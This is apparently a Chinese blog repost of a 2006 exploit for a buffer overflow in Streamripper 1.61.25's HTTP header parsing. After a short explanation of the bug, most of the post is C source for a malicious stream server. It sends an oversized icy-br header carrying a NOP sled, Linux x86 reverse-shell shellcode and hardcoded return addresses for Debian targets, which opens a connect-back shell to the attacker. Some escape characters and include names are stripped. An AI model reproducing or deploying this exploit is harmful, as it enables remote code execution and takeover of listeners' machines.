ITPub博客

首页 > 数据库 > Oracle > Streamripper

Streamripper

原创 Oracle 作者:coolwinds 时间:2006-08-30 09:26:02 0 删除 编辑

/*
_______ ________ .__ _____ __
___ __ _ ____ _____ | |__ / | | ____ | | __
/ / /_ / _(__ < ______ | | / | |__/ ___| |/ /
> < _/ | / /_____/ | Y / ^ / ___| <
/__/_ _____ /___| /______ / |___| /____ | ___ >__|_
/ / / / 2986 / |__| / /

* mm. dM8
* YMMMb. dMM8 _____________________________________
* YMMMMb dMMM' [ ]
* `YMMMb dMMMP [ There are doors I have yet to open ]
* `YMMM MMM' [ windows I have yet to look through ]
* "MbdMP [ Going forward may not be the answer ]
* .dMMMMMM.P [ ]
* dMM MMMMMM [ maybe I should go back ]
* 8MMMMMMMMMMI [_____________________________________]
* YMMMMMMMMM www.netbunny.org
* "MMMMMMP
* MxM .mmm
* W"W """

[i] Title: Streamripper HTTP Header Parsing Buffer Overflow Exploit
[i] Discovered by: Ulf Harnhammar
[i] Exploit by: Expanders
[i] References: http://www.securityfocus.com/bid/19707 --- http://streamripper.sourceforge.net/
[i] Greatings: x0n3-h4ck - netbunny - my girlfriend..thanks for existing

[ Why streamripper crash? ]

Streamripper like any other shoutcast client send an HTTP GET request to the stream server then receive a pseudo-HTTP response.
Response is made of a ICY [CODE] that show the status of the remote daemon, and a few icy- headers that stores radio informations
like Title - Website - Genre - Bitrate and a special header for song-title offset in the content stream.

in lib/http.c [httplib_parse_sc_header()]

[code segment]
....
char stempbr[50];
....
rc = extract_header_value(header, stempbr, "icy-br:");
....
[/code segment]

extract_header_value(...) calls subnstr_until(const char *str, char *until, char *newstr, int maxlen) that copies from [*str] to [*newstr] trimming
everything next [*until] for a maximum of [maxlen] bytes.

in streamripper-1.61.25 ( maybe prior versions ) MAX_ICY_STRING costant is passed as [maxlen].

in lib/lib/srtypes.h

#define MAX_ICY_STRING 4024

Putting all together if we send an icy-br: header 156 byte long we reach EIP overwriting.

Code Execution is obvious possible.

[ Timeline ]

Vendor has been informed and version 1.61.26 has been released.

[ Notes ]

Exploit uses shitty hardcoded adresses, there's no registers that point to an usefull location so virtual address exploiting isn't possible.
Probably some better solution can be used but i'm really to lazy and busy to fuck my mind with that.

[ Links ]

www.x0n3-h4ck.org
www.netbunny.org

*/

[@more@]

#include
#include
#include
#include
#include
#include
#include

#define BUFFSIZE 200 // Buffer size

int banner();
int usage(char *filename);
int inject(char *port, char *ip);
int remote_connect( char* ip, unsigned short port );


/* linux_ia32_reverse - Size=70 Encoder=None( hahaha streaming has no restricted 0x00 ) http://metasploit.com */
unsigned char shellcode[] =
"x31xdbx53x43x53x6ax02x6ax66x58x89xe1xcdx80x93x59"
"xb0x3fxcdx80x49x79xf9x5bx5ax68"
"x00x00x00x00" // IP
"x66x68"
"x00x00" // PORT
"x43x66x53x89xe1xb0x66x50x51x53x89xe1x43xcd"
"x80x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53"
"x89xe1xb0x0bxcdx80";

char http_header[] = "ICY 200 OKrn"
"icy-notice1:
This stream requires Winamp
rn">http://www.winamp.com/">Winamp
rn"
"icy-notice2:SHOUTcast Distributed Network Audio Server/unix v1.9.7
rn"
"icy-name:SEGFAULT radiorn"
"icy-genre:Progressive Housern"
"icy-url:http://www.x0n3-h4ck.orgrn"
"content-type:audio/mpegrn"
"icy-pub:1rn"
"icy-metaint:1rn" // mp3 metatags starts at first byte of content
"icy-br:"; // Finally here...

char http_content[] = "x0dx0ax0dx0a" // rnrn
"x04" // this magic byte can be used to control malloc(m_buffersize). m_buffersize is (this-byte * 16 ) TODO: egghunter
"x53x74x72x65x61x6Dx54x69x74x6Cx65x3Dx27x45"
"x78x70x61x6Ex64x65x72x73x20x2Dx20x49x27x6C"
"x6Cx20x4Fx77x6Ex20x59x6Fx75x27x3Bx53x74x72"
"x65x61x6Dx55x72x6Cx3Dx27x27x3Bx00x00x00x00"
"x00x00x00x00x00x00x00x00"
"xd3xffxffxf5xffxffxf9xafxffxe5x29xbex3ex8bx18"; // a few bytes from an mp3


struct retcodes{char *platform;unsigned long addr;} targets[]= {
{ "Debian GNU/Linux testing/unstable" , 0xb7e70090 },
{ "Debian GNU/Linux 3.1", 0xb7e71070 },
{ "Crash daemon - DEBUGGING" , 0xdeadc0de },
{ NULL }
};
int banner() {
printf("n[i] Title: tStreamripper HTTP Header Parsing BOF Exploitn");
printf("[i] Discovered by:tUlf Harnhammarn");
printf("[i] Exploit by: tExpandersnn");
return 0;
}

int usage(char *filename) {
int i;
printf("Usage: t%s nn",filename);
printf(" t : Local port for listener :: Default: 8000n");
printf(" t : Local ip address for connectbackn");
printf(" t : Local port for connectbackn");
printf(" t : Target from the list belownn");

printf("# t Address t Targetn");
printf("---------------------------------------------------------n");
for(i = 0; targets[i].platform; i++)
printf("%d t 0x%08x t %s n",i,targets[i].addr,targets[i].platform);
printf("---------------------------------------------------------n");
exit(0);
}

int inject(char *port, char *ip)
{
unsigned long m_ip;
unsigned short m_port;
m_ip = inet_addr(ip);
m_port = htons(atoi( port ));
memcpy ( &shellcode[26], &m_ip, 4);
memcpy ( &shellcode[32], &m_port, 2);
return 0;
}

int socket_listen( unsigned short port )
{
int s,reuseaddr=1;
struct sockaddr_in localaddr;
struct hostent* host_addr;

localaddr.sin_family = AF_INET;
localaddr.sin_port = htons(port);
localaddr.sin_addr.s_addr = INADDR_ANY;
bzero(&(localaddr.sin_zero), 8);

if ( ( s = socket(AF_INET, SOCK_STREAM, 0) ) < 0 )
{
printf ( "[X] socket() failed!n" );
exit ( 1 );
}
if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &reuseaddr,(socklen_t)sizeof(reuseaddr)) < 0)
{
printf("[X] setsockopt() failed!n");
exit ( 1 );
}
if (bind(s, (struct sockaddr *)&localaddr, sizeof(localaddr)) < 0)
{
perror("[X] bind() failedn");
exit ( 1 );
}
if (listen(s, 1) < 0)
{
perror("[X] listen() failedn");
exit ( 1 );
}
return ( s );
}

int client_accept( int listener )
{
int s;
struct sockaddr_in remoteaddr;
int addrlen = sizeof(struct sockaddr_in);
if ((s = accept(listener, (struct sockaddr *)&remoteaddr, &addrlen)) < 0)
{
perror("[X] accept() failedn");
exit ( 1 );
}
if (getpeername(s, (struct sockaddr *)&remoteaddr, &addrlen) < 0)
{
perror("[X] getpeername() failedn");
exit ( 1 );
}
printf("got connection from %s:%un", inet_ntoa(remoteaddr.sin_addr), ntohs(remoteaddr.sin_port));
return ( s );
}


int main(int argc, char *argv[]) {
int listener,client,position=0;
unsigned int rcv;
char buffer[BUFFSIZE],*request;
char recvbuf[256];
banner();
if( (argc != 5) || (atoi(argv[1]) < 1) || (atoi(argv[1]) > 65534) )
usage(argv[0]);

printf("[+] Creating evil buffern");
request = (char *) malloc(BUFFSIZE + strlen(http_header) + strlen(http_content)); // +3 == r + n + 0x00
memset(buffer,0x90,BUFFSIZE); // Fill with nops

inject(argv[3],argv[2]); // Xor port and ip and put them into the shellcode

position = 156 - strlen(shellcode); // 156 : EIP offset
memcpy(buffer+position,shellcode,strlen(shellcode));
position += strlen(shellcode);
memcpy(buffer+position,&targets[atoi(argv[4])].addr,4);
position += 4;
memset(buffer+position,0x00,1); // End
sprintf(request,"%s%s%s",http_header,buffer,http_content);

printf("[+] Setting up socketn");
listener = socket_listen(atoi(argv[1]));

printf("[+] Waiting for client...");
fflush(stdout);
client = client_accept(listener);

printf("[+] Receiving GET request...");
fflush(stdout);
rcv=recv(client,recvbuf,256,0);
if(rcv<0)
{
printf("n[X] Error while recieving banner!n");
close(client);
close(listener);
exit( 1 );
}
if (strstr(recvbuf,"1.61.25")!=0)
{
sleep(1);
printf("okn[+] Sending %d bytes of painfull buffern",strlen(request));
if ( send ( client, request, strlen (request), 0) <= 0 )
{
printf("[X] Failed to send buffern");
exit ( 1 );
}
printf("[+] Done - Wait for shell on port %sn",argv[3]);
} else
printf("[X] This client is not running Streamripper or it's an unsupported versionn");
close(client);
close(listener);
free(request);
return 0;
}

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/83980/viewspace-861819/,如需转载,请注明出处,否则将追究法律责任。

下一篇: Streamripper
请登录后发表评论 登录
全部评论

注册时间:2012-10-23

  • 博文量
    253
  • 访问量
    951172